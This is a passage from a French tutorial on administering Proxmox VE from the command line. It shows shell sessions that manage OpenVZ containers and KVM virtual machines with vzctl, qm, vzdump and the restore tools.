drwxr-xr-x 3 root root 4096 Apr 4 05:48 home
drwxr-xr-x 8 root root 4096 Oct 22 12:01 lib
drwxr-xr-x 2 root root 4096 Oct 22 11:58 media
drwxr-xr-x 2 root root 4096 Sep 23 2012 mnt
drwxr-xr-x 2 root root 4096 Oct 22 11:58 opt
drwxr-xr-x 2 root root 4096 Sep 23 2012 proc
drwx------ 2 root root 4096 Mar 31 13:44 root
drwxr-xr-x 2 root root 4096 Oct 22 12:01 sbin
drwxr-xr-x 2 root root 4096 Jul 21 2010 selinux
drwxr-xr-x 2 root root 4096 Oct 22 11:58 srv
drwxr-xr-x 2 root root 4096 Mar 27 2012 sys
drwxrwxrwt 4 root root 4096 Apr 4 08:44 tmp
drwxr-xr-x 10 root root 4096 Oct 22 11:58 usr
drwxr-xr-x 14 root root 4096 Apr 4 05:27 var
root@proxmox:/var/lib/vz/private/100#
Cest lun des principes dOpenVZ. Nous pouvons travailler directement sur le disque de tous
les conteneurs OpenVZ sans mme dmarrer les machines, ou encore directement alors
quelles sont en fonctionnement. Ceci est trs souple car il est possible de modifier les fichiers
de configuration des services sans mme sidentifier sur la machine concerne.
Attention, le dossier /var/lib/vz/private/100 contient larborescence de la machine qui sera
monte dans /var/lib/vz/root/100 quand la machine sera dmarre.
Pour ce qui est de la machine KVM, nous trouvons une image de son disque dans
/var/lib/vz/images/500.
root@proxmox:~# ls -l /var/lib/vz/images/500
total 0
-rw-r--r-- 1 root root 10737418240 Apr 4 08:53 vm-500-disk-1.raw
root@proxmox:~#
Limage iso que nous avons dpose sur le serveur se trouve quant elle dans
/var/lib/vz/template/iso.
root@proxmox:~# ls -l /var/lib/vz/template/iso/
total 616084
-rw------- 1 root root 630245376 Apr 1 05:51 WinXP3_VL.iso
root@proxmox:~#
Quant au modle de la Debian-6.0, nous le trouvons dans /var/lib/vz/template/cache.
root@proxmox:~# ls -l /var/lib/vz/template/cache/
total 140744
-rw-r--r-- 1 root root 143972544 Oct 22 12:10 debian-6.0-
standard_6.0-6_i386.tar.gz
root@proxmox:~#
Nous ne pouvons pas ici dtailler tout le contenu du disque dur du serveur mais seulement les
emplacements qui nous semblent les plus importants. Ce qui vient naturellement ensuite est
donc le dossier o est stocke la configuration des machines. Celle-ci se trouve dans /etc/pve,
ainsi que la configuration du serveur.
Dans le sous-dossier openvz, nous trouvons les deux fichiers de configuration de nos
conteneurs.
root@proxmox:~# ls -l /etc/pve
total 4
-rw-r----- 1 root www-data 451 Jan 2 12:04 authkey.pub
-rw-r----- 1 root www-data 13 Jan 2 12:03 datacenter.cfg
lrwxr-x--- 1 root www-data 0 Jan 1 1970 local -> nodes/proxmox
drwxr-x--- 2 root www-data 0 Jan 2 12:04 nodes
lrwxr-x--- 1 root www-data 0 Jan 1 1970 openvz ->
nodes/proxmox/openvz
drwx------ 2 root www-data 0 Jan 2 12:04 priv
-rw-r----- 1 root www-data 1533 Jan 2 12:04 pve-root-ca.pem
-rw-r----- 1 root www-data 1675 Jan 2 12:04 pve-www.key
lrwxr-x--- 1 root www-data 0 Jan 1 1970 qemu-server ->
nodes/proxmox/qemu-server
-rw-r----- 1 root www-data 139 Apr 1 10:22 storage.cfg
-rw-r----- 1 root www-data 54 Jan 2 18:23 user.cfg
-rw-r----- 1 root www-data 119 Jan 2 12:04 vzdump.cron
root@proxmox:~# ls /etc/pve/openvz/ -l
total 2
-rw-r----- 1 root www-data 966 Apr 3 11:20 100.conf
-rw-r----- 1 root www-data 968 Apr 3 11:36 102.conf
root@proxmox:~#
Inspectons par curiosit le fichier de configuration de la machine 100 avec notre diteur
prfr. Voici son contenu :
ONBOOT="no"

PHYSPAGES="0:512M"
SWAPPAGES="0:512M"
KMEMSIZE="232M:256M"
DCACHESIZE="116M:128M"
LOCKEDPAGES="256M"
PRIVVMPAGES="unlimited"
SHMPAGES="unlimited"
NUMPROC="unlimited"
VMGUARPAGES="0:unlimited"
OOMGUARPAGES="0:unlimited"
NUMTCPSOCK="unlimited"
NUMFLOCK="unlimited"
NUMPTY="unlimited"
NUMSIGINFO="unlimited"
TCPSNDBUF="unlimited"
TCPRCVBUF="unlimited"
OTHERSOCKBUF="unlimited"
DGRAMRCVBUF="unlimited"
NUMOTHERSOCK="unlimited"
NUMFILE="unlimited"
NUMIPTENT="unlimited"

# Disk quota parameters (in form of softlimit:hardlimit)
DISKSPACE="4G:4613734"
DISKINODES="800000:880000"
QUOTATIME="0"
QUOTAUGIDLIMIT="0"

# CPU fair scheduler parameter
CPUUNITS="1000"
CPUS="1"
HOSTNAME="WEB1.Labo"
SEARCHDOMAIN="Labo"
NAMESERVER="8.8.8.8"
NETIF="ifname=eth0,mac=8A:F5:DE:2A:79:AE,host_ifname=veth100.0,host
_mac=26:5F:0D:2B:4A:52,bridge=vmbr0"
VE_ROOT="/var/lib/vz/root/$VEID"
VE_PRIVATE="/var/lib/vz/private/100"
OSTEMPLATE="debian-6.0-standard_6.0-6_i386.tar.gz"
Nous constatons que nous retrouvons lensemble des paramtres que nous avons rgls
laide de linterface web.
Il est prfrable de ne pas modifier les options manuellement dans le fichier, sauf dans des cas
particuliers. Nous verrons dans le point suivant quil existe des commandes spcialises pour
cela.
Voil pour les principaux dossiers. Nous constatons la souplesse dOpenVZ. Voyons
prsent comment administrer les machines directement en ligne de commande sur le serveur.
c. Les commandes utiles
Nous partons du principe dans cette section que nous sommes connects en console sur notre
serveur en tant quadministrateur root. Nous avons donc face nous une invite de commande
et allons explorer quelques lments dadministration des machines virtuelles.
Il existe deux commandes principales : vzctl pour contrler les machines dOpenVZ et qm
pour les machines KVM. Mais avant de rentrer dans ladministration de celles-ci, il est
intressant de pouvoir les lister. La commande vzlist nous permet de lister les conteneurs
OpenVZ actuellement en fonctionnement. Si nous voulons lister lensemble des conteneurs, il
faut ajouter loption -a. Pour KVM, ce sera la commande qm list.
root@proxmox:~# vzlist
root@proxmox:~# vzlist -a
CTID NPROC STATUS IP_ADDR HOSTNAME
100 - stopped - WEB1.Labo
102 - stopped - WEB2
103 - stopped - WEB3
root@proxmox:~# qm list
VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID
500 Win1 stopped 512 10.00 0
root@proxmox:~#
Nous visualisons bien lensemble de nos machines virtuelles et leur tat actuel. Nous avons
aussi leur nom et leur ID.
Dmarrons prsent la premire machine WEB1.Labo. Celle-ci a pour ID 100 et cest ce
paramtre quil faudra passer la commande vzctl avec laction souhaite sur la VM. Ce sera
la mme chose pour la machine KVM dID 500 dans laquelle nous avons install un systme
Windows en utilisant la commande qm. Voici ce que cela donne.
root@proxmox:~# vzctl start 100
Starting container ...
Container is mounted
Setting CPU units: 1000
Setting CPUs: 1
Configure veth devices: veth100.0
Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100
Container start in progress...
root@proxmox:~# vzlist
CTID NPROC STATUS IP_ADDR HOSTNAME
100 71 running - WEB1.Labo
root@proxmox:~# qm start 500
root@proxmox:~# qm list
VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID
500 Win1 running 512 10.00
16881
root@proxmox:~#
Il est tout aussi facile de stopper ces machines avec les commandes :
vzctl stop 100
qm stop 101root@proxmox:~# vzctl stop 100
Stopping container ...
Container was stopped
Container is unmounted
root@proxmox:~# qm stop 500
root@proxmox:~#
Il est aussi trs facile dentrer dans une VM OpenVZ depuis le serveur. Nous avons dj vu
que larborescence du disque tait accessible, mais nous pouvons aller plus loin en
sidentifiant directement comme administrateur (root) sur une VM OpenVZ. Pour cela, il faut
utiliser la commande vzctl enter ID aprs avoir bien videmment dmarr la machine.
Voici un exemple :
root@proxmox:~# vzctl start 100
Starting container ...
Container is mounted
Setting CPU units: 1000
Setting CPUs: 1
Configure veth devices: veth100.0
Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100
Container start in progress...
root@proxmox:~# vzctl enter 100
entered into CT 100
root@WEB1:/# more /etc/apt/sources.list
deb http://ftp.debian.org/debian squeeze main contrib

deb http://ftp.debian.org/debian squeeze-updates main contrib

deb http://security.debian.org squeeze/updates main contrib
Nous constatons que nous obtenons bien une invite de commande en tant quutilisateur root
sur la machine WEB1 et que celle-ci est bien une Debian squeeze comme lindiquent les
dpts dclars dans son fichier sources.list.
Notre machine a normalement t dclare avec une interface rseau en pont (Bridge), il est
donc possible de configurer celle-ci pour un accs Internet. Par exemple, si nous disposons
pour cette connexion dun serveur DHCP, cest alors trs simple. Il nous est alors possible de
mettre jour le systme dexploitation de la VM.
Par la suite, nous pourrons installer tous les services dont nous avons besoin. Cet accs la
VM directement depuis une connexion SSH sur le serveur est bien plus souple que la console
Java de linterface web. Mais il arrive parfois que nous nayons pas le choix. Ralisons la
manipulation que nous venons de dcrire.
root@WEB1:/# dhclient eth0
root@WEB1:/# aptitude update
Hit http://ftp.debian.org squeeze Release.gpg
Ign http://ftp.debian.org/debian/ squeeze/contrib Translation-en
Ign http://ftp.debian.org/debian/ squeeze/main Translation-en
Get:1 http://security.debian.org squeeze/updates Release.gpg [836 B]
Ign http://security.debian.org/ squeeze/updates/contrib
Translation-en
Ign http://security.debian.org/ squeeze/updates/main Translation-en
Get:2 http://ftp.debian.org squeeze-updates Release.gpg [836 B]
Ign http://ftp.debian.org/debian/ squeeze-updates/contrib
Translation-en
Ign http://ftp.debian.org/debian/ squeeze-updates/main
Translation-en
Hit http://ftp.debian.org squeeze Release
Get:3 http://security.debian.org squeeze/updates Release [87.0 kB]
Get:4 http://ftp.debian.org squeeze-updates Release [113 kB]
Get:5 http://security.debian.org squeeze/updates/main i386
Packages [386 kB]
Hit http://ftp.debian.org squeeze/main i386 Packages
Hit http://ftp.debian.org squeeze/contrib i386 Packages
Hit http://ftp.debian.org squeeze-updates/main i386
Packages/DiffIndex
Get:6 http://ftp.debian.org squeeze-updates/contrib i386 Packages
[20 B]
Get:7 http://ftp.debian.org squeeze-updates/main i386 Packages
[4493 B]
Get:8 http://security.debian.org squeeze/updates/contrib i386
Packages [621 B]
Fetched 593 kB in 1s (482 kB/s)

root@WEB1:/# aptitude full-upgrade
No packages will be installed, upgraded, or removed.
0 packages upgraded, 0 newly installed, 0 to remove and 0 not
upgraded.
Need to get 0 B of archives. After unpacking 0 B will be used.

root@WEB1:/#
Voil, nous disposons dune Debian Squeeze flambant neuve et prte tre utilise.
La souplesse dOpenVZ permet aussi de modifier la configuration des machines virtuelles
alors que celles-ci sont en fonctionnement. Si par exemple nous trouvons que la taille du
disque dur que nous avions initialement choisie est insuffisante, il est possible de laugmenter
en une seule commande.
Dans la manipulation suivante, nous allons :
Visualiser la taille actuelle du disque dur de la WM dID 100.
Sortir de la VM.
Modifier la taille du disque en la montant 6 Go.
Entrer nouveau dans la VM et contrler la nouvelle taille du disque.
Toutes ces oprations vont tre effectues sans arrter la machine. Si des services taient
fournis des usagers, ceux-ci nauraient subi aucune interruption de service.
La commande qui permet de modifier les paramtres de la machine est :
vzctl set $IDVM$ --$paramtre$ $valeur$ --$option$
Ralisons lopration :
root@proxmox:~# vzctl enter 100
entered into CT 100
root@WEB1:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/simfs 4.0G 440M 3.6G 11% /
tmpfs 256M 0 256M 0% /lib/init/rw
tmpfs 256M 0 256M 0% /dev/shm
root@WEB1:/# exit
logout
exited from CT 100
root@proxmox:~# vzctl set 100 --diskspace 6G:6G --save
CT configuration saved to /etc/pve/openvz/100.conf
root@proxmox:~# vzctl enter 100
entered into CT 100
root@WEB1:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/simfs 6.0G 440M 5.6G 8% /
tmpfs 256M 0 256M 0% /lib/init/rw
tmpfs 256M 0 256M 0% /dev/shm
root@WEB1:/#
Nous constatons bien que la taille du disque dur de notre VM vient de passer 6 Go. Loption
--save passe en fin de commande indique que nous souhaitons conserver cette modification
dans le fichier de configuration. Ceci rendra prenne cette nouvelle taille de disque. Cela veut
dire aussi quil est possible de changer temporairement la taille dun disque mais de ne pas
conserver ce changement. Dans ce cas, le disque aura retrouv sa taille initiale au prochain
redmarrage de la VM.
Pour la taille du disque, deux paramtres spars par deux points ont t indiqus. Cest parce
quil existe deux limites de disque indiquer : une limite logicielle (soft) et une limite
matrielle (hard). La diffrence, sans entrer dans les dtails, est que la limite logicielle peut
tre dpasse temporairement.
Il est possible de faire aussi des modifications sur la mmoire, le temps processeur allou, le
nombre de curs de processeur, les interfaces rseau, etc. Il est impossible de voir toutes les
possibilits ici. Elles sont trs nombreuses. De laide est disponible sur chaque option de
vzctl. Listons ces options :
root@proxmox:~# vzctl --help
vzctl version 4.0-4.git.162dded
Copyright (C) 2000-2012, Parallels, Inc.
This program may be distributed under the terms of the GNU GPL License.

Usage: vzctl [options] <command> <ctid> [parameters]

vzctl create <ctid> [--ostemplate <name>] [--config <name>]
[--layout ploop|simfs] [--hostname <name>] [--name <name>]
[--ipadd <addr>]
[--diskspace <kbytes>] [--private <path>] [--root <path>]
vzctl start <ctid> [--force] [--wait]
vzctl destroy | mount | umount | stop | restart | status <ctid>
vzctl quotaon | quotaoff | quotainit <ctid>
vzctl console <ctid> [ttyno]
vzctl enter <ctid> [--exec <command> [arg ...]]
vzctl exec | exec2 <ctid> <command> [arg ...]
vzctl runscript <ctid> <script>
vzctl chkpnt <ctid> [--dumpfile <name>]
vzctl restore <ctid> [--dumpfile <name>]
vzctl set <ctid> [--save] [--force] [--setmode restart|ignore]
[--ram <bytes>[KMG]] [--swap <bytes>[KMG]]
[--ipadd <addr>] [--ipdel <addr>|all] [--hostname <name>]
[--nameserver <addr>] [--searchdomain <name>]
[--onboot yes|no] [--bootorder <N>]
[--userpasswd <user>:<passwd>]
[--cpuunits <N>] [--cpulimit <N>] [--cpus <N>] [--cpumask <cpus>]
[--diskspace <soft>[:<hard>]] [--diskinodes <soft>[:<hard>]]
[--quotatime <N>] [--quotaugidlimit <N>] [--mount_opts
<opt>[,<opt>...]]
[--capability <name>:on|off ...]
[--devices b|c:major:minor|all:r|w|rw]
[--devnodes device:r|w|rw|none]
[--netif_add <ifname[,mac,host_ifname,host_mac,bridge]]>]
[--netif_del <ifname>]
[--applyconfig <name>] [--applyconfig_map <name>]
[--features <name:on|off>] [--name <vename>] [--ioprio <N>]
[--pci_add [<domain>:]<bus>:<slot>.<func>] [--pci_del <d:b:s.f>]
[--iptables <name>] [--disabled <yes|no>]
[UBC parameters]

UBC parameters (N - items, P - pages, B - bytes):
Two numbers divided by colon means barrier:limit.
In case the limit is not given it is set to the same value as the
barrier.
--numproc N[:N] --numtcpsock N[:N] --numothersock N[:N]
--vmguarpages P[:P] --kmemsize B[:B] --tcpsndbuf B[:B]
--tcprcvbuf B[:B] --othersockbuf B[:B] --dgramrcvbuf B[:B]
--oomguarpages P[:P] --lockedpages P[:P] --privvmpages P[:P]
--shmpages P[:P] --numfile N[:N] --numflock N[:N]
--numpty N[:N] --numsiginfo N[:N] --dcachesize N[:N]
--numiptent N[:N] --physpages P[:P] --avnumproc N[:N]
--swappages P[:P]
root@proxmox:~#
La dernire opration que nous allons voir avec la commande vzctl est la cration dun
conteneur. Pour pouvoir crer le conteneur, il faut rgler un minimum dinformations comme
la taille du disque dur, le nombre maximal dinodes, etc.
Le plus simple est de reprendre le fichier de configuration dune machine similaire et
dajuster les nouveaux paramtres suivant ce que lon dsire.
Nous commenons par copier le fichier de configuration de la machine dID 100 dans
110.conf avec la commande suivante :
cp /etc/pve/openvz/100.conf /etc/pve/openvz/110.conf
Nous ditons ensuite ce nouveau fichier, avec nano par exemple, pour effectuer quelques
modifications. Voici le nouveau fichier de configuration pour la machine dID 110.
ONBOOT="no"

PHYSPAGES="0:512M"
SWAPPAGES="0:512M"
KMEMSIZE="232M:256M"
DCACHESIZE="116M:128M"
LOCKEDPAGES="256M"
PRIVVMPAGES="unlimited"
SHMPAGES="unlimited"
NUMPROC="unlimited"
VMGUARPAGES="0:unlimited"
OOMGUARPAGES="0:unlimited"
NUMTCPSOCK="unlimited"
NUMFLOCK="unlimited"
NUMPTY="unlimited"
NUMSIGINFO="unlimited"
TCPSNDBUF="unlimited"
TCPRCVBUF="unlimited"
OTHERSOCKBUF="unlimited"
DGRAMRCVBUF="unlimited"
NUMOTHERSOCK="unlimited"
NUMFILE="unlimited"
NUMIPTENT="unlimited"

# Disk quota parameters (in form of softlimit:hardlimit)
DISKSPACE="2097152:2097152"
DISKINODES="800000:880000"
QUOTATIME="0"
QUOTAUGIDLIMIT="0"

# CPU fair scheduler parameter
CPUUNITS="1000"
CPUS="1"
HOSTNAME="WEB10"
SEARCHDOMAIN="Labo"
NAMESERVER="8.8.8.8"
NETIF="ifname=eth0,mac=8A:F5:DE:2A:79:BB,host_ifname=veth110.0,
host_mac=26:5F:0D:2B:4A:55,bridge=vmbr0"
VE_ROOT="/var/lib/vz/root/110"
VE_PRIVATE="/var/lib/vz/private/110"
OSTEMPLATE="debian-6.0-standard_6.0-6_i386"
NAME="WEB3"
Les variables importantes quil faut absolument modifier pour viter tout conflit entre les
machines sont :
HOSTNAME : que nous avons modifie en WEB10.
NETIF : pour laquelle nous avons chang les deux MAC et surtout, nous avons
dclar le pont en veth110.0.
VE_ROOT et VE_PRIVATE qui pointent vers les nouveaux dossiers avec un chemin
finissant par 110 pour rester cohrent avec lID de la machine.
NAME : qui a t ajout et prend le nom WEB10.
Nous avons aussi modifi la variable DISKSPACE pour crer un disque de 2 Go, mais ce
ntait pas obligatoire. Voil, tout est prt pour crer la nouvelle machine, la dmarrer puis
sidentifier comme administrateur sur celle-ci pour vrifier quelle fonctionne parfaitement.
root@proxmox:~# cp /etc/pve/openvz/103.conf
/etc/pve/openvz/110.conf
root@proxmox:~# nano /etc/pve/openvz/110.conf
root@proxmox:~# vzctl create 110 --ostemplate debian-6.0-
standard_6.0-6_i386 --hostname WEB10 --name WEB10
Name WEB10 assigned
Creating container private area (debian-6.0-standard_6.0-6_i386)
Performing postcreate actions
CT configuration saved to /etc/pve/openvz/110.conf
Container private area was created
root@proxmox:~# vzctl start 110
Starting container ...
Container is mounted
Setting CPU units: 1000
Setting CPUs: 1
Configure veth devices: veth110.0
Adding interface veth110.0 to bridge vmbr0 on CT0 for CT110
Container start in progress...
root@proxmox:~# vzctl enter 110
entered into CT 110
root@WEB10:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/simfs 2.0G 383M 1.7G 19% /
tmpfs 256M 0 256M 0% /lib/init/rw
tmpfs 256M 0 256M 0% /dev/shm
root@WEB10:/#
Nous nirons pas plus loin avec la commande vzctl mais la puissance de celle-ci nest plus
dmontrer.
Une autre opration quil est aussi intressant de savoir faire en ligne de commande est la
sauvegarde et la restauration des VM. Pour cela, nous disposons de deux commandes :
vzdump : qui permet la sauvegarde dune machine OpenVZ.
vzrestore : qui permet de restaurer une machine sauvegarde.
Effectuons la sauvegarde de la machine dID 100. Comme avec linterface web, nous
choisissons de stopper la machine pour la sauvegarder et prendrons une compression GZIP.
Ces paramtres seront passer en arguments la commande ainsi que le dossier de
destination de la sauvegarde ; voici ce que cela donne :
root@proxmox:~# ls /var/lib/vz/dump/dump/
vzdump-openvz-100-2013_04_03-09_51_12.log vzdump-openvz-100-
2013_04_03-09_51_12.tar.gz
root@proxmox:~# vzdump 100 -compress gzip -dumpdir /va/lib/vz/dump
-mode stop
dumpdir /va/lib/vz/dump does not exist
root@proxmox:~# vzdump 100 -compress gzip -dumpdir
/var/lib/vz/dump/dump -mode stop
INFO: starting new backup job: vzdump 100 --dumpdir
/var/lib/vz/dump/dump --mode stop --compress gzip
INFO: Starting Backup of VM 100 (openvz)
INFO: CTID 100 exist mounted running
INFO: status = running
INFO: backup mode: stop
INFO: ionice priority: 7
INFO: stopping vm
INFO: Stopping container ...
INFO: Container was stopped
INFO: Container is unmounted
INFO: creating archive /var/lib/vz/dump/dump/vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz
INFO: Total bytes written: 421713920 (403MiB, 11MiB/s)
INFO: archive file size: 170MB
INFO: delete old backup /var/lib/vz/dump/dump/vzdump-openvz-100-
2013_04_03-09_51_12.tar.gz
INFO: CTID 100 exist unmounted down
INFO: restarting vm
INFO: Starting container ...
INFO: Container is mounted
INFO: Setting CPU units: 1000
INFO: Setting CPUs: 1
INFO: Configure veth devices: veth100.0
INFO: Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100
INFO: Container start in progress...
INFO: vm is online again after 44 seconds
INFO: Finished Backup of VM 100 (00:00:44)
INFO: Backup job finished successfully
root@proxmox:~# ls /var/lib/vz/dump/dump
vzdump-openvz-100-2013_04_04-10_04_22.log vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz
root@proxmox:~#
Nous constatons que notre nouvelle sauvegarde a effac lancienne. Il faut donc prendre
garde. En effet, nous navons pas prcis loption -maxfiles dans notre commande et celle-ci
est rgle par dfaut 1.
Pour restaurer la machine, rien de plus simple :
root@proxmox:~# vzrestore /var/lib/vz/dump/dump/vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz 100 -force
cant overwrite mounted container
root@proxmox:~# vzctl stop 100
Stopping container ...
Container was stopped
Container is unmounted
root@proxmox:~# vzrestore /var/lib/vz/dump/dump/vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz 100 -force
you choose to force overwriting VPS config file, private and root
directories.
extracting archive /var/lib/vz/dump/dump/vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz
tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_
contrib_binary-i386_Packages: time stamp 2013-04-04 16:01:14 is
21186.107918382 s in the future
tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_
Release: time stamp 2013-04-04 16:01:27 is 21199.106609008 s in the
future
tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze-
updates_main_binary-i386_Packages: time stamp 2013-04-05 04:02:45
is 64477.105968429 s in the future
tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze-
updates_Release.gpg: time stamp 2013-04-05 04:22:11 is
65643.105881268 s in the future
tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze-
updates_Release: time stamp 2013-04-05 04:22:11 is 65643.104792032
s in the future
tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze-
updates_contrib_binary-i386_Packages: time stamp 2013-04-05
04:12:07 is 65039.101766534 s in the future
tar:
./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_main
_binary-i386_Packages: time stamp 2013-04-04 16:01:08 is
21180.07657332 s in the future
tar:
./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_
Release.gpg: time stamp 2013-04-04 16:01:27 is 21199.074864738 s in
the future
Total bytes read: 421713920 (403MiB, 42MiB/s)
restore configuration to /etc/pve/nodes/proxmox/openvz/100.conf
vzquota : (warning) Quota file exists, it will be overwritten
root@proxmox:~#
Nous avons volontairement fait deux erreurs dans les deux premires
commandes. Premirement, nous constatons que si le conteneur existe, il faut forcer sa
restauration. Deuximement, il faut que le conteneur soit stopp pour le restaurer.
Lors de cette opration dans linterface web nous avions parl du clonage dune machine, ce
qui est tout simple en ligne de commande. Il faut tout simplement restaurer une sauvegarde
dans un autre conteneur et le tour est jou.
Pour le moment, nous nous sommes principalement intresss aux conteneurs OpenVZ.
Passons la gestion des machines KVM. Si nous regardons la liste des commandes de qm,
nous constatons quelles sont assez nombreuses.
root@proxmox:~# qm help
USAGE: qm <COMMAND> [ARGS] [OPTIONS]
qm config <vmid>
qm create <vmid> [OPTIONS]
qm delsnapshot <vmid> <snapname> [OPTIONS]
qm destroy <vmid> [OPTIONS]
qm list
qm migrate <vmid> <target> [OPTIONS]
qm reset <vmid> [OPTIONS]
qm resize <vmid> <disk> <size> [OPTIONS]
qm resume <vmid> [OPTIONS]
qm rollback <vmid> <snapname>
qm sendkey <vmid> <key> [OPTIONS]
qm set <vmid> [OPTIONS]
qm shutdown <vmid> [OPTIONS]
qm snapshot <vmid> <snapname> [OPTIONS]
qm start <vmid> [OPTIONS]
qm stop <vmid> [OPTIONS]
qm suspend <vmid> [OPTIONS]
qm template <vmid> [OPTIONS]
qm unlink <vmid> {<idlist>} [OPTIONS]

qm help [<cmd>] [OPTIONS]

qm monitor <vmid>
qm mtunnel
qm rescan [OPTIONS]
qm showcmd <vmid>
qm status <vmid> [OPTIONS]
qm unlock <vmid>
qm vncproxy <vmid>
qm wait <vmid> [OPTIONS]
root@proxmox:~#
Nous pouvons comme avec OpenVZ dmarrer et arrter les machines laide des commandes
start et stop.
root@proxmox:~# qm status 500
status: stopped
root@proxmox:~# qm start 500
root@proxmox:~# qm status 500
status: running
root@proxmox:~# qm stop 500
root@proxmox:~#
Attention ici, loption stop arrte brutalement la machine contrairement OpenVZ ; ceci nest
pas toujours recommand. Il vaut mieux envoyer un signal darrt la machine avec la
commande shutdown.
Pour crer une machine KVM, il faut utiliser la commande qm create. Mais celle-ci dispose
dun trs grand nombre doptions. Il suffit de voir la commande qui permet de lancer la VM
pour sen rendre compte :
root@proxmox:~# qm showcmd 500
/usr/bin/kvm -id 500 -chardev socket,id=qmp,path=/var/run/
qemu-server/500.qmp,server,nowait -mon chardev=qmp,mode=control
-vnc unix:/var/run/qemu-server/500.vnc,x509,password -pidfile
/var/run/qemu-server/500.pid -daemonize -name Win1 -smp
sockets=1,cores=1 -nodefaults -boot menu=on -vga cirrus -k fr
-m 512 -cpuunits 1000 -device piix3-usb-uhci,id=uhci,bus=pci.0,
addr=0x1.0x2 -device usb-tablet,id=tablet,bus=uhci.0,port=1
-device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x3
-drive file=/var/lib/vz/template/iso/WinXP3_VL.iso,if=none,
id=drive-ide2,media=cdrom,aio=native
-device ide-cd,bus=ide.1,unit=0,drive=drive-ide2,id=ide2,
bootindex=200 -drive file=/var/lib/vz/images/500/vm-500-
disk-1.raw,if=none,id=drive-ide0,aio=native,cache=none
-device ide-hd,bus=ide.0,unit=0,drive=drive-ide0,id=ide0,
bootindex=100 -netdev type=tap,id=net0,ifname=tap500i0,
script=/var/lib/qemu-server/pve-bridge -device
rtl8139,mac=82:EE:6A:BE:82:DA,netdev=net0,bus=pci.0,
addr=0x12,id=net0,bootindex=300 -rtc driftfix=slew,
base=localtime -machine accel=tcg
root@proxmox:~#
Pour ne pas faire derreur et obtenir une machine bien configure, le plus simple est soit de
passer par linterface web, soit de cloner une machine semblable celle que nous voulons
crer et de modifier ses paramtres par la suite. Commenons par effectuer une sauvegarde de
la machine 500 :
root@proxmox:~# vzdump 500 -compress gzip -dumpdir
/var/lib/vz/dump/dump/ -mode stop
INFO: starting new backup job: vzdump 500 --dumpdir
/var/lib/vz/dump/dump/ --mode stop --compress gzip
INFO: Starting Backup of VM 500 (qemu)
INFO: status = stopped
INFO: backup mode: stop
INFO: ionice priority: 7
INFO: creating archive /var/lib/vz/dump/dump/vzdump-qemu-500-
2013_04_04-11_12_15.vma.gz
INFO: starting kvm to execute backup task
INFO: started backup task 5fd8b493-2164-493e-889c-7f12036cb626
INFO: status: 22% (2416574464/10737418240), sparse 22%
(2416570368), duration 3, 805/0 MB/s
INFO: status: 44% (4777705472/10737418240), sparse 44%
(4777701376), duration 6, 787/0 MB/s
INFO: status: 66% (7173570560/10737418240), sparse 66%
(7173566464), duration 9, 798/0 MB/s
INFO: status: 88% (9539878912/10737418240), sparse 88%
(9539874816), duration 12, 788/0 MB/s
INFO: status: 100% (10737418240/10737418240), sparse 99%
(10737414144), duration 14, 598/0 MB/s
INFO: transferred 10737 MB in 14 seconds (766 MB/s)
INFO: stopping kvm after backup task
INFO: archive file size: 402KB
INFO: Finished Backup of VM 500 (00:00:17)
INFO: Backup job finished successfully
root@proxmox:~# ls /var/lib/vz/dump/dump/ -lh
total 172M
-rw-r--r-- 1 root root 886 Apr 4 10:05 vzdump-openvz-100-
2013_04_04-10_04_22.log
-rw-r--r-- 1 root root 171M Apr 4 10:05 vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz
-rw-r--r-- 1 root root 1.2K Apr 4 11:12 vzdump-qemu-500-
2013_04_04-11_12_15.log
-rw-r--r-- 1 root root 403K Apr 4 11:12 vzdump-qemu-500-
2013_04_04-11_12_15.vma.gz
root@proxmox:~#
Crons prsent une VM sans aucun paramtre :
root@proxmox:~# qm create 501
root@proxmox:~# ls /etc/pve/qemu-server
500.conf 501.conf
root@proxmox:~# more /etc/pve/qemu-server/501.conf
root@proxmox:~# qm list
VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID
500 Win1 stopped 512 10.00 0
501 VM 501 stopped 0 0.00 0
Nous constatons que la VM 501 est bien cre, mais elle a un nom par dfaut, ne dispose pas
de mmoire RAM ni de disque dur et que son fichier de configuration est vide. Mais comme
cette VM existe prsent, il est possible de restaurer la sauvegarde de la VM 500 dessus.
root@proxmox:~# qmrestore /var/lib/vz/dump/dump/vzdump-qemu-500-
2013_04_04-11_12_15.vma.gz 501 -force -unique 1
restore vma archive: zcat /var/lib/vz/dump/dump/vzdump-qemu-500-
2013_04_04-11_12_15.vma.gz|vma extract -v -r
/var/tmp/vzdumptmp27332.fifo - /var/tmp/vzdumptmp27332
CFG: size: 259 name: qemu-server.conf
DEV: dev_id=1 size: 10737418240 devname: drive-ide0
CTIME: Thu Apr 4 11:12:16 2013
Formatting /var/lib/vz/images/501/vm-501-disk-1.raw, fmt=raw
size=10737418240
new volume ID is local:501/vm-501-disk-1.raw
map drive-ide0 to /var/lib/vz/images/501/vm-501-disk-1.raw
(write zeros = 0)
progress 1% (read 107413504 bytes, duration 0 sec)
progress 2% (read 214761472 bytes, duration 0 sec)
progress 3% (read 322174976 bytes, duration 0 sec)
progress 4% (read 429522944 bytes, duration 0 sec)
progress 5% (read 536870912 bytes, duration 0 sec)
progress 6% (read 644284416 bytes, duration 0 sec)
